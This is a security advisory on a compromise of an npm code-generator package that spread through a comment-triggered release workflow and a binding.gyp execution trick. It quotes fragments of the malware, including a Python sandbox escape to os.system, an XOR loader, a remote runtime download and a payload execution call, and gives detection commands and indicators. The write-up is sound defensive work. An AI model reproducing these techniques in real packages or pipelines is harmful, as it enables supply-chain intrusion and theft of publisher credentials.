critical

CVE

Not assigned

CWE

CWE-94, CWE-506

Affected Surface

  • Projects and CI runners that resolved @7nohe/openapi-react-query-codegen 0.5.4, 0.5.5, 1.6.3, 1.6.4, 2.2.1, 2.2.2, 3.0.3, 3.0.4, 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be, or 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab during the 2026-08-28 exposure window
  • GitHub Actions jobs or developer workstations that ran npm installation against those versions with lifecycle scripts or node-gyp execution enabled
  • npm, RubyGems, and PyPI publisher accounts reachable from affected hosts, plus cloud, Vault, Kubernetes, SSH, Git, and AI-tool credentials present on those systems
  • Maintainers with release workflows that combine untrusted pull-request code paths with package-publishing privileges such as id-token: write

The clearest new package story from the last three days is not a typo squat or a one-off malicious upload. It is a compromise of a legitimate npm package that crossed three trust boundaries at once: GitHub Actions publishing, npm installation, and stolen publisher credentials in other ecosystems.

On 28 August 2026, attackers published ten malicious versions of @7nohe/openapi-react-query-codegen, a package used to generate TypeScript clients and TanStack Query hooks from OpenAPI definitions. The maintainer later confirmed the root cause in public: the release workflow accepted an issue_comment event, treated the exact string npm publish as authorization, checked out the pull request head, ran pnpm install, and published through a job that held id-token: write. That is enough to turn an untrusted pull request into a signed release path.

As of 29 August, the immediate registry blast radius is smaller than it was yesterday. The maintainer reports that npm has removed all ten malicious versions and restored latest to 3.0.2. That does not make prior installs safe. If a runner or workstation installed one of the affected versions during the exposure window, the payload already executed on that machine.

Affected versions and execution paths

The maintainer’s corrected scope is the best starting point because it explains why simple preinstall matching misses part of the incident:

Version setInstall scriptbinding.gyp / 3FWCvzduYZg.jsWhat runs code
0.5.4, 1.6.3, 2.2.1, 3.0.3nonepresentnode-gyp evaluating binding.gyp
0.5.5, 1.6.4, 2.2.2, 3.0.4preinstall presentpresentboth preinstall and binding.gyp
0.0.0-365d4eb..., 0.0.0-ec7876d...preinstall presentabsentprerelease install hook

That distinction matters operationally. A lockfile or artifact scan that looks only for scripts.preinstall misses the first four stable versions. A scan that looks only for binding.gyp misses the two prereleases.

The release workflow trusted a pull-request comment

The vulnerable path was visible in public discussion within minutes of disclosure. One commenter pointed to the release job guard:

jobs:
  release:
    if: ${{ github.event_name == 'push' || (github.event.issue.pull_request && github.event.comment.body == 'npm publish') }}

That is the whole problem in one line. The workflow mixed two very different trust levels:

  1. a normal tag-push release path
  2. an issue_comment path that could be reached from a pull request

Once the workflow checked out attacker-controlled PR code and ran pnpm install, it had already crossed into execution. Because the job also held publishing privileges, the attacker did not need a stolen maintainer npm token. StepSecurity’s write-up is useful here because it highlights the actual permission set that made the pivot possible: the job carried id-token: write, which let the run mint a trusted-publishing token and push real npm releases through the project’s own pipeline.

This is the AppSec lesson to keep from the incident:

untrusted PR comment
-> trusted workflow starts
-> workflow checks out PR head
-> package install runs attacker code
-> attacker code publishes signed release

If your release job can publish packages, the safe default is to let only a tag push or another strongly authenticated maintainer-only event reach that job. A comment body is not authorization.

binding.gyp was enough to execute without a lifecycle script

The clever part of this incident is that four of the stable versions did not need preinstall at all. Public analysis from the maintainer, Aikido, and the advisory record all line up on the same mechanism: node-gyp evaluates the conditions field in binding.gyp through Python, and the attacker used that evaluation step as an execution primitive.

The relevant expression decodes to:

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')

That is a Python object-walk to catch_warnings, then to __builtins__, then to os.system(). The rest of the file exists mostly to make the package still look like a native-addon build:

"targets": [
  {
    "target_name": "<(var)",
    "type": "\x6e\x6f\x6e\x65",
    "sources": ["dog.c"]
  }
]

The type value decodes to none, so there is no real addon build. The package shipped the trigger, not a legitimate native extension.

That is why this incident belongs in the same bucket as other “tooling path” compromises rather than ordinary install-hook malware. The dangerous event was not only “did npm run preinstall?” It was also “did package installation hit a build path that evaluates attacker-controlled metadata?”

The loader was small at the edge and heavy in the middle

The stable malicious tarballs carried a root-level payload named 3FWCvzduYZg.js. The advisory data and public reverse engineering agree on the broad structure:

Function(function (a, k) {
  let c = "";
  for (let i = 0; i < a.length; i++) c += String.fromCharCode(a[i] ^ k);
  return c;
}([101, 44, 62, 52 /* ... */], 77))

That outer layer is not the final malware. It is a decode-and-execute wrapper. Endor and Aikido both describe the next stages the same way:

  • XOR decoding to a JavaScript loader
  • AES-GCM decryption of the next embedded stage
  • runtime download of Bun into a temp directory named trinnyyyy-*
  • execution of the main payload under Bun rather than under the host Node runtime

The Bun staging path is one of the higher-signal behavioral indicators because it is unusual in ordinary dependency installation:

const dir = mkdtempSync(join(tmpdir(), "trinnyyyy-"));
const exe = join(dir, os === "windows" ? "bun.exe" : "bun");
const url = "https://github.com/oven-sh/bun/releases/download/bun-v1.4.0/bun-" + os + "-" + arch + ".zip";

This is not a normal build dependency being fetched for code generation. It is a delivery layer for the actual worm.

The worm crossed npm, RubyGems, and PyPI

The earlier Shai-Hulud-style waves already showed how stolen publisher credentials can turn one maintainer compromise into many poisoned packages. This variant went a step further by adding PyPI as an explicit propagation target. Endor’s static analysis is the clearest public description of that new branch: the code validates pypi- tokens against the real upload endpoint and keeps the working ones for reuse.

The PyPI validation flow looked like this:

await fetch("https://upload.pypi.org/legacy/", {
  method: "POST",
  headers: { Authorization: "Basic " + b64("__token__:" + token) },
  body: form
});

Aikido and OX both place the broader propagation logic in the same family:

  • read and validate npm tokens from .npmrc and related files
  • enumerate packages reachable by the compromised npm identity
  • republish poisoned tarballs
  • validate RubyGems tokens and publish through the RubyGems API
  • validate PyPI tokens and republish there too

That makes this more than an npm incident. npm was the entry point. The intended blast radius was any registry account the victim machine could reach.

Provenance was real and still not enough

One of the more important details in the maintainer thread is that the bad releases carried valid provenance because they came through the project’s real trusted-publishing workflow. Several independent write-ups repeat the same conclusion from different angles: provenance answered “which workflow produced this package?” but not “should this workflow have been trusted to run this code?”

That is an uncomfortable result, but a useful one. In a package-publishing system, provenance proves origin, not intent. If an attacker can route malicious code through the same workflow that usually builds clean releases, the badge stays green while the package turns hostile.

What changed on 29 and 30 August

The maintainer closed the immediate publishing hole and documented the cleanup:

  • removed the issue_comment trigger from the release path
  • revoked the npm trusted publisher
  • revoked long-lived npm tokens
  • restored latest to 3.0.2
  • worked with npm to remove the ten malicious versions

That means fresh installs now behave differently:

npm install @7nohe/openapi-react-query-codegen
-> resolves to 3.0.2
-> does not pull the removed malicious versions

But pinned lockfiles are still a response problem. A CI pipeline that still references one of the removed versions will now fail with a 404, which is safer than executing the payload but still a signal that the repository or cache needs cleanup.

The later reverse engineering published on 30 August added two details that matter for responders.

First, the package did not stop at collection and republishing. Socket and JFrog both describe a user-level monitor on Linux and macOS that kept watching a stored GitHub token after the initial install. Socket recovered Linux paths such as:

~/.local/bin/sysvinit-detect-fash.sh
~/.config/sysvinit-detect-fash/fox
~/.config/sysvinit-detect-fash/fash-detected
~/.config/systemd/user/sysvinit-detect-fash.service
/var/tmp/.shit

The monitor polled https://api.github.com/user once per minute and executed a stored handler when the token started returning a 4xx response. JFrog and OX tie that behavior to coercive strings such as IfYouRevokeThisTokenYourABadUser, so the safe sequence is contain the host, disable the monitor, and only then revoke exposed GitHub tokens.

Second, the same reporting shows that the malware had a signed remote-command path riding on GitHub commit metadata. Socket describes a flow where the implant searched for operator-controlled markers, verified an RSA-PSS/SHA-256 signature, downloaded the referenced payload, and ran it with Python:

result = subprocess.run(["python3", temp_path], capture_output=True, text=True, timeout=300)

The command URL hash was stored in /var/tmp/.shit to avoid replaying the same task. Aikido and JFrog also describe the exfil format in the attacker-created public repositories: encrypted bundles written as results/doubletrinnys-*.json, usually with commit messages such as meow meow meow.

Detection and scoping

Start with source control and lockfiles:

rg -n '@7nohe/openapi-react-query-codegen@(0\.5\.4|0\.5\.5|1\.6\.3|1\.6\.4|2\.2\.1|2\.2\.2|3\.0\.3|3\.0\.4|0\.0\.0-365d4eb738d3146583431948d3ba6e27a32556be|0\.0\.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab)' \
  package-lock.json pnpm-lock.yaml yarn.lock

Then look for file-level indicators that catch the prerelease, binding.gyp, and persistence paths:

rg -n '3FWCvzduYZg\.js|binding\.gyp|ai_init\.js|ai_setup\.sh|is_it_this_simple\.js|nu\.js|doubletrinnys-|Trinitite: Sponsored by Preview 2 Effects' \
  node_modules .npm _logs . 2>/dev/null

rg -n 'sysvinit-detect-fash|systemd-detect-fash|/var/tmp/\.shit|/tmp/pcfg|ClaudeCode Review' \
  "$HOME" /var/tmp /tmp .github .cursor 2>/dev/null

For CI and developer machines, the best behavioral indicators are:

  • node-gyp evaluating a package that has no legitimate native-addon reason to build
  • download of Bun 1.4.0 into /tmp/trinnyyyy-*
  • access to npm, RubyGems, or PyPI publish APIs from a machine that was only supposed to install dependencies
  • GitHub API activity tied to unexpected repositories, workflow runs, or commits from the affected time window
  • unexpected public repositories with the description Trinitite: Sponsored by Preview 2 Effects
  • user-level LaunchAgent or systemd service creation under ~/Library/LaunchAgents/ or ~/.config/systemd/user/

If an affected version actually ran on a host, treat that host as compromised. Contain it and remove the GitHub token monitor before testing or revoking GitHub tokens. The malware family targets cloud credentials, GitHub tokens, registry tokens, Kubernetes tokens, Vault material, SSH keys, shell history, and developer-tool configuration files. Reinstalling the dependency is not the response. Credential rotation and account review are.

Why this incident matters

This was a compact example of a 2026 pattern that keeps getting sharper:

  • the initial code change was tiny
  • the release path looked legitimate
  • the trust signal on the package stayed green
  • the payload treated the victim’s publishing credentials as a propagation engine

For defenders, the useful question is no longer only “does this package run preinstall?” It is “which trusted steps in our build and publishing path will execute attacker-controlled bytes if a pull request, comment event, or package metadata field crosses the line?”

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References